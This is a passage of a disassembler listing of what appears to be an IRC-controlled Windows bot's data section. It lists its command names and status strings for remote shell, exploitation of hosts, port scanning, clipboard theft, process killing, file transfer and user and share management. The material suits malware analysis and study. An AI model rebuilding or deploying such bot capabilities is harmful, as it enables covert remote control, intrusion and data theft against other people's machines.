sub_403038+1731o align 4 aBamann db 'bamann',0 ; DATA XREF: sub_403038+1746o align 4 dword_438654 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_403038+3B65o dd 746F4220h, 2Eh aProcs db 'procs',0 ; DATA XREF: sub_403038+175Bo align 4 aPs db 'ps',0 ; DATA XREF: sub_403038+1770o align 4 unk_43867C db 2Dh ; - ; DATA XREF: sub_403038+3A55o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunning db ' Already running.',0 align 4 aFull db 'full',0 ; DATA XREF: sub_403038+3AB4o align 4 dword_4386A4 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_403038+3AD4o dd 696C2073h, 2E7473h unk_4386C0 db 2Dh ; - ; DATA XREF: sub_403038+3B43o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToStar_3 db ' Failed to start listing thread, error: <%d>.',0 align 4 aUptime db 'uptime',0 ; DATA XREF: sub_403038+1785o align 4 aUp db 'up',0 ; DATA XREF: sub_403038+179Ao align 4 dword_438708 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_403038+3A07o dd 2E7325h aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_403038+17AFo align 4 aDrv db 'drv',0 ; DATA XREF: sub_403038+17C4o aTestdlls db 'testdlls',0 ; DATA XREF: sub_403038+17D9o align 4 aDll db 'dll',0 ; DATA XREF: sub_403038+17EEo aOpencmd db 'opencmd',0 ; DATA XREF: sub_403038+1803o aOcmd db 'ocmd',0 ; DATA XREF: sub_403038+1818o align 10h unk_438750 db 2Dh ; - ; DATA XREF: sub_403038+394Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 unk_43877C db 2Dh ; - ; DATA XREF: sub_403038+396Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_4387A4 db 2Dh ; - ; DATA XREF: sub_403038:loc_4069B0o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 aCmdstop db 'cmdstop',0 ; DATA XREF: sub_403038+182Do aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_403038+1846o align 4 dword_4387DC dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_403038+184Bo dword_4387E8 dd 6F6877h ; DATA XREF: sub_403038+1856o dword_4387EC dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_403038+1873o dword_438800 dd 706D453Ch, 3E7974h ; DATA XREF: sub_403038:loc_4048D6o dword_438808 dd 202E6425h, 7325h ; DATA XREF: sub_403038+18ADo unk_438810 db 2Dh ; - ; DATA XREF: sub_403038+18E5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_403038+1E0Bo aGc db 'gc',0 ; DATA XREF: sub_403038+1E20o align 10h dword_438840 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_403038+390Bo dd 2Dh dword_438858 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_403038+3939o dd 72616F62h, 2E64h aFlusharp db 'flusharp',0 ; DATA XREF: sub_403038+1E35o align 10h aFarp db 'farp',0 ; DATA XREF: sub_403038+1E4Ao align 4 unk_438888 db 2Dh ; - ; DATA XREF: sub_403038+38E0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_4388AC db 2Dh ; - ; DATA XREF: sub_403038:loc_406933o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_403038+1E5Fo align 4 aFdns db 'fdns',0 ; DATA XREF: sub_403038+1E74o align 4 unk_4388EC db 2Dh ; - ; DATA XREF: sub_403038+38C2o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 10h unk_438910 db 2Dh ; - ; DATA XREF: sub_403038:loc_406901o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_43893C db 2Dh ; - ; DATA XREF: sub_403038:loc_406908o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 aCurrentip db 'currentip',0 ; DATA XREF: sub_403038+1E89o align 4 aCip db 'cip',0 ; DATA XREF: sub_403038+1E9Eo aRloginserver db 'rloginserver',0 ; DATA XREF: sub_403038+1EB3o align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_403038+1EC8o align 10h unk_438990 db 2Dh ; - ; DATA XREF: sub_403038+37FDo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_4389CC db 2Dh ; - ; DATA XREF: sub_403038+386Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToStar_4 db '- Failed to start server thread, error: <%d>.',0 align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_403038+1EDDo align 4 aHttp db 'http',0 ; DATA XREF: sub_403038+1EF2o align 4 unk_438A1C db 2Dh ; - ; DATA XREF: sub_403038+36C5o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_438A58 db 2Dh ; - ; DATA XREF: sub_403038+3734o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToStar_5 db ' Failed to start server thread, error: <%d>.',0 align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_403038+1F07o align 10h aTftp db 'tftp',0 ; DATA XREF: sub_403038+1F1Co align 4 unk_438AA8 db 2Dh ; - ; DATA XREF: sub_403038+349Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_0 db ' Already running.',0 align 4 unk_438AC8 db 2Dh ; - ; DATA XREF: sub_403038+354Fo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_438AFC db 2Dh ; - ; DATA XREF: sub_403038+35BEo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToStar_6 db ' Failed to start server thread, error: <%d>.',0 align 4 aCrash db 'crash',0 ; DATA XREF: sub_403038+1F31o align 10h dword_438B40 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_403038+1F47o dd 746F6220h, 2Eh aCrash_0 db 'crash',0 ; DATA XREF: sub_403038+1F81o align 4 aScanall db 'scanall',0 ; DATA XREF: sub_403038+1F97o aSa db 'sa',0 ; DATA XREF: sub_403038+1FACo align 10h unk_438B70 db 2Dh ; - ; DATA XREF: sub_403038+31DFo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 unk_438BB0 db 2Dh ; - ; DATA XREF: sub_403038:loc_4064BFo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToStar_7 db '- Failed to start scan, port is invalid.',0 align 4 aRandom db 'Random',0 ; DATA XREF: sub_403038+3397o align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_403038+339Eo align 4 unk_438BFC db 2Dh ; - ; DATA XREF: sub_403038+33C9o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 unk_438C68 db 2Dh ; - ; DATA XREF: sub_403038+343Ao db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToStar_8 db '- Failed to start scan thread, error: <%d>.',0 align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_403038+1FC1o align 10h aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_403038+1FD8o align 4 aExploit db 'exploit',0 ; DATA XREF: sub_403038+1FEEo unk_438CDC db 2Dh ; - ; DATA XREF: sub_403038+2072o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 unk_438D0C db 2Dh ; - ; DATA XREF: sub_403038+20DDo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_403038+2124o align 4 aRin db 'rin',0 ; DATA XREF: sub_403038+2139o aQuitReconnec_0 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_403038:loc_406185o align 4 unk_438D78 db 2Dh ; - ; DATA XREF: sub_403038+3168o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 10h aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_403038+214Eo aRinms db 'rinms',0 ; DATA XREF: sub_403038+2163o align 4 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_403038:loc_40613Co align 10h unk_438DD0 db 2Dh ; - ; DATA XREF: sub_403038+311Fo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 aNick_0 db 'nick',0 ; DATA XREF: sub_403038+2178o align 4 aN: ; DATA XREF: sub_403038+218Do unicode 0, <n>,0 aNickS_0 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+30ECo align 4 unk_438E0C db 2Dh ; - ; DATA XREF: sub_403038+30FAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h aJoin db 'join',0 ; DATA XREF: sub_403038+21A2o align 4 aJ: ; DATA XREF: sub_403038+21B7o unicode 0, <j>,0 aJoinSS_1 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+30CCo align 4 unk_438E4C db 2Dh ; - ; DATA XREF: sub_403038+30DAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: ',27h,'%s',27h,'.',0 align 10h aPart_1 db 'part',0 ; DATA XREF: sub_403038+21CCo align 4 aPt db 'pt',0 ; DATA XREF: sub_403038+21E1o align 4 aPartS db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+30A5o align 4 unk_438E88 db 2Dh ; - ; DATA XREF: sub_403038+30B3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 aRaw db 'raw',0 ; DATA XREF: sub_403038+21F6o aR_1: ; DATA XREF: sub_403038+220Bo unicode 0, <r>,0 aS_28 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+3085o align 4 dword_438EBC dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_403038+3093o dd 2E732520h, 0 aKillthread db 'killthread',0 ; DATA XREF: sub_403038+2220o align 4 aK: ; DATA XREF: sub_403038+2235o unicode 0, <k>,0 aAll db 'all',0 ; DATA XREF: sub_403038+2F9Eo unk_438EEC db 2Dh ; - ; DATA XREF: sub_403038+2FB8o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 unk_438F14 db 2Dh ; - ; DATA XREF: sub_403038:loc_405FFAo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_438F3C db 2Dh ; - ; DATA XREF: sub_403038+3008o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 10h unk_438F60 db 2Dh ; - ; DATA XREF: sub_403038:loc_406047o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 aC_quit db 'c_quit',0 ; DATA XREF: sub_403038+224Ao align 4 aC_q db 'c_q',0 ; DATA XREF: sub_403038+225Fo aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_403038+2F0Do align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_403038+2274o align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_403038+2289o align 4 aNickS db 'NICK %s',0 ; DATA XREF: sub_403038+2EC6o aS_13 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+2EDBo align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_403038+229Eo align 4 aPr db 'pr',0 ; DATA XREF: sub_403038+22B3o align 4 unk_438FD8 db 2Dh ; - ; DATA XREF: sub_403038+2E7Do db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h aOpen db 'open',0 ; DATA XREF: sub_403038+22C8o align 4 aO: ; DATA XREF: sub_403038+22DDo unicode 0, <o>,0 aOpen_0 db 'open',0 ; DATA XREF: sub_403038+2E46o align 4 unk_439014 db 2Dh ; - ; DATA XREF: sub_403038+2E57o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_439034 db 2Dh ; - ; DATA XREF: sub_403038:loc_405E99o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 aServer db 'server',0 ; DATA XREF: sub_403038+22F2o align 10h aSe db 'se',0 ; DATA XREF: sub_403038+2307o align 4 unk_439064 db 2Dh ; - ; DATA XREF: sub_403038+2E27o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 aDns db 'dns',0 ; DATA XREF: sub_403038+231Co aDn db 'dn',0 ; DATA XREF: sub_403038+2331o align 4 unk_439094 db 2Dh ; - ; DATA XREF: sub_403038+2DCAo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4390B4 db 2Dh ; - ; DATA XREF: sub_403038+2DFDo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS__0 db '- Lookup: %s -> %s.',0 align 4 unk_4390D4 db 2Dh ; - ; DATA XREF: sub_403038:loc_405E3Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_403038+2346o align 4 aKp db 'kp',0 ; DATA XREF: sub_403038+235Bo align 4 unk_43910C db 2Dh ; - ; DATA XREF: sub_403038+2D8Bo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_43912C db 2Dh ; - ; DATA XREF: sub_403038:loc_405DCDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 aKill db 'kill',0 ; DATA XREF: sub_403038+2370o align 4 aKi db 'ki',0 ; DATA XREF: sub_403038+2385o align 4 unk_439168 db 2Dh ; - ; DATA XREF: sub_403038+2D58o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 unk_43918C db 2Dh ; - ; DATA XREF: sub_403038:loc_405D9Ao db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 aDelete db 'delete',0 ; DATA XREF: sub_403038+239Ao align 4 aDel db 'del',0 ; DATA XREF: sub_403038+23AFo dword_4391C8 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_403038+2D12o dd 27732527h, 2Eh dword_4391E4 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_403038:loc_405D68o dword_4391F0 dd 746567h ; DATA XREF: sub_403038+23C4o dword_4391F4 dd 7467h ; DATA XREF: sub_403038+23D9o dword_4391F8 dd 7325h ; DATA XREF: sub_403038+2C34o unk_4391FC db 2Dh ; - ; DATA XREF: sub_403038+2C86o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 unk_439220 db 2Dh ; - ; DATA XREF: sub_403038+2CF5o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStar_9 db '- Failed to start transfer thread, error: <%d>.',0 align 4 aList db 'list',0 ; DATA XREF: sub_403038+23EEo align 4 aLi db 'li',0 ; DATA XREF: sub_403038+2403o align 4 dword_439268 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_403038+2C0Eo dd 0 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_403038+2418o aMirc db 'mirc',0 ; DATA XREF: sub_403038+242Do align 10h unk_439290 db 2Dh ; - ; DATA XREF: sub_403038+2BE2o db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 10h dword_4392B0 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_403038:loc_405C24o dd 746E6573h, 2Eh aVisit db 'visit',0 ; DATA XREF: sub_403038+2442o align 4 aV: ; DATA XREF: sub_403038+2457o unicode 0, <v>,0 dword_4392D8 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_403038+2B3Co dd 2Eh unk_4392F0 db 2Dh ; - ; DATA XREF: sub_403038+2BABo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToSta_10 db ' Failed to start connection thread, error: <%d>.',0 align 10h aCmd db 'cmd',0 ; DATA XREF: sub_403038+246Co aCm db 'cm',0 ; DATA XREF: sub_403038+2481o align 4 asc_439338: ; DATA XREF: sub_403038+2A95o dw 0Ah unicode 0, <>,0 unk_43933C db 2Dh ; - ; DATA XREF: sub_403038+2AADo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 dword_439368 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_403038+2AC6o dd 732520h aReadfile db 'readfile',0 ; DATA XREF: sub_403038+2496o align 4 aRf db 'rf',0 ; DATA XREF: sub_403038+24ABo align 10h aR_0: ; DATA XREF: sub_403038+29E7o unicode 0, <r>,0 unk_439394 db 2Dh ; - ; DATA XREF: sub_403038+2A53o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_4393B8 db 2Dh ; - ; DATA XREF: sub_403038+2A67o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_403038+24C0o align 4 aOn db 'on',0 ; DATA XREF: sub_403038+24DCo align 4 dword_4393E8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_403038+24F8o aAlreadyRunni_1 db '- Already running.',0 align 4 dword_439408 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_403038+2508o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_439434 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_403038+2555o aFailedToSta_11 db '- Failed to start server, error: <%d>.',0 align 4 aOff db 'off',0 ; DATA XREF: sub_403038+2560o dword_43946C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_403038+2583o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_4394A4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_403038:loc_4055C5o aNoThreadFound_ db '- No thread found.',0 align 4 aNet db 'net',0 ; DATA XREF: sub_403038+25A6o aStart db 'start',0 ; DATA XREF: sub_403038+2601o align 10h aS_2 db '%s',0 ; DATA XREF: sub_403038+2623o align 4 unk_4394D4 db 2Dh ; - ; DATA XREF: sub_403038+2654o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 unk_4394F8 db 2Dh ; - ; DATA XREF: sub_403038:loc_405696o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 aStop db 'stop',0 ; DATA XREF: sub_403038+266Bo align 10h aS_3 db '%s',0 ; DATA XREF: sub_403038+2686o align 4 aPause db 'pause',0 ; DATA XREF: sub_403038+2690o align 4 aS_4 db '%s',0 ; DATA XREF: sub_403038+26ABo align 10h aContinue db 'continue',0 ; DATA XREF: sub_403038+26B8o align 4 aS_5 db '%s',0 ; DATA XREF: sub_403038+26D3o align 10h aDelete_0 db 'delete',0 ; DATA XREF: sub_403038+26E0o align 4 aS_6 db '%s',0 ; DATA XREF: sub_403038+26FBo align 4 aShare db 'share',0 ; DATA XREF: sub_403038+2708o align 4 aS_7 db '%s',0 ; DATA XREF: sub_403038+272Eo align 4 aS_8 db '%s',0 ; DATA XREF: sub_403038+2744o align 4 unk_43955C db 2Dh ; - ; DATA XREF: sub_403038+2776o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h unk_439580 db 2Dh ; - ; DATA XREF: sub_403038:loc_4057B8o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 10h aUser db 'user',0 ; DATA XREF: sub_403038+278Do align 4 aS_9 db '%s',0 ; DATA XREF: sub_403038+27C3o align 4 aS_10 db '%s',0 ; DATA XREF: sub_403038+27EAo align 10h aS_11 db '%s',0 ; DATA XREF: sub_403038+27FBo align 4 unk_4395B4 db 2Dh ; - ; DATA XREF: sub_403038+282Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_4395D4 db 2Dh ; - ; DATA XREF: sub_403038:loc_40586Co db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 aSend_2 db 'send',0 ; DATA XREF: sub_403038+283Eo align 4 aS_12 db '%s',0 ; DATA XREF: sub_403038+286Do align 10h unk_439600 db 2Dh ; - ; DATA XREF: sub_403038:loc_4058B5o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 unk_439624 db 2Dh ; - ; DATA XREF: sub_403038:loc_4058BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_439640 db 2Dh ; - ; DATA XREF: sub_403038+25CAo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aGethost db 'gethost',0 ; DATA XREF: sub_403038+28D0o aGh db 'gh',0 ; DATA XREF: sub_403038+28E1o align 4 aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_403038+2944o align 4 unk_439694 db 2Dh ; - ; DATA XREF: sub_403038+296Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_4396BC db 2Dh ; - ; DATA XREF: sub_403038+2987o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 dword_4396EC dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_403038+29C2o dd 2E732520h, 0 aKilllog db 'killlog',0 ; DATA XREF: sub_403038+1903o aKl db 'kl',0 ; DATA XREF: sub_403038+1918o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_403038+192Do align 10h aAa db 'aa',0 ; DATA XREF: sub_403038+1942o align 4 unk_439724 db 2Dh ; - ; DATA XREF: sub_403038+54D4o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 aPrivmsg_2 db 'privmsg',0 ; DATA XREF: sub_403038+1957o aPm db 'pm',0 ; DATA XREF: sub_403038+196Co align 10h unk_439750 db 2Dh ; - ; DATA XREF: sub_403038+548Fo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 10h aAction db 'action',0 ; DATA XREF: sub_403038+1981o align 4 aA: ; DATA XREF: sub_403038+1996o unicode 0, <a>,0 dword_43977C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_403038+540Fo unk_439788 db 2Dh ; - ; DATA XREF: sub_403038+542Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 aCycle db 'cycle',0 ; DATA XREF: sub_403038+19ABo align 4 aCy db 'cy',0 ; DATA XREF: sub_403038+19C0o align 10h a332_0 db '332',0 ; DATA XREF: sub_403038+5364o aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+537Bo align 10h aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+53AEo align 10h dword_4397D0 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_403038+53BBo aMode db 'mode',0 ; DATA XREF: sub_403038+19D5o align 4 aM: ; DATA XREF: sub_403038+19EAo unicode 0, <m>,0 aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+533Eo align 4 unk_4397FC db 2Dh ; - ; DATA XREF: sub_403038+534Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aC_raw db 'c_raw',0 ; DATA XREF: sub_403038+19FFo align 10h aC_r db 'c_r',0 ; DATA XREF: sub_403038+1A14o aS_18 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+52F0o align 4 dword_43982C dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_403038+530Fo dd 25203A29h, 73h aC_mode db 'c_mode',0 ; DATA XREF: sub_403038+1A29o align 10h aC_m db 'c_m',0 ; DATA XREF: sub_403038+1A3Eo aModeS db 'MODE %s',0 ; DATA XREF: sub_403038+5241o aS_17 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+527Eo align 4 dword_439864 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_403038+529Do dd 203A2973h, 7325h aC_nick db 'c_nick',0 ; DATA XREF: sub_403038+1A53o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_403038+1A68o aNickS_1 db 'NICK %s',0 ; DATA XREF: sub_403038+51AFo aS_16 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+51EBo align 4 dword_43989C dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_403038+520Co dd 203A2973h, 7325h aC_join db 'c_join',0 ; 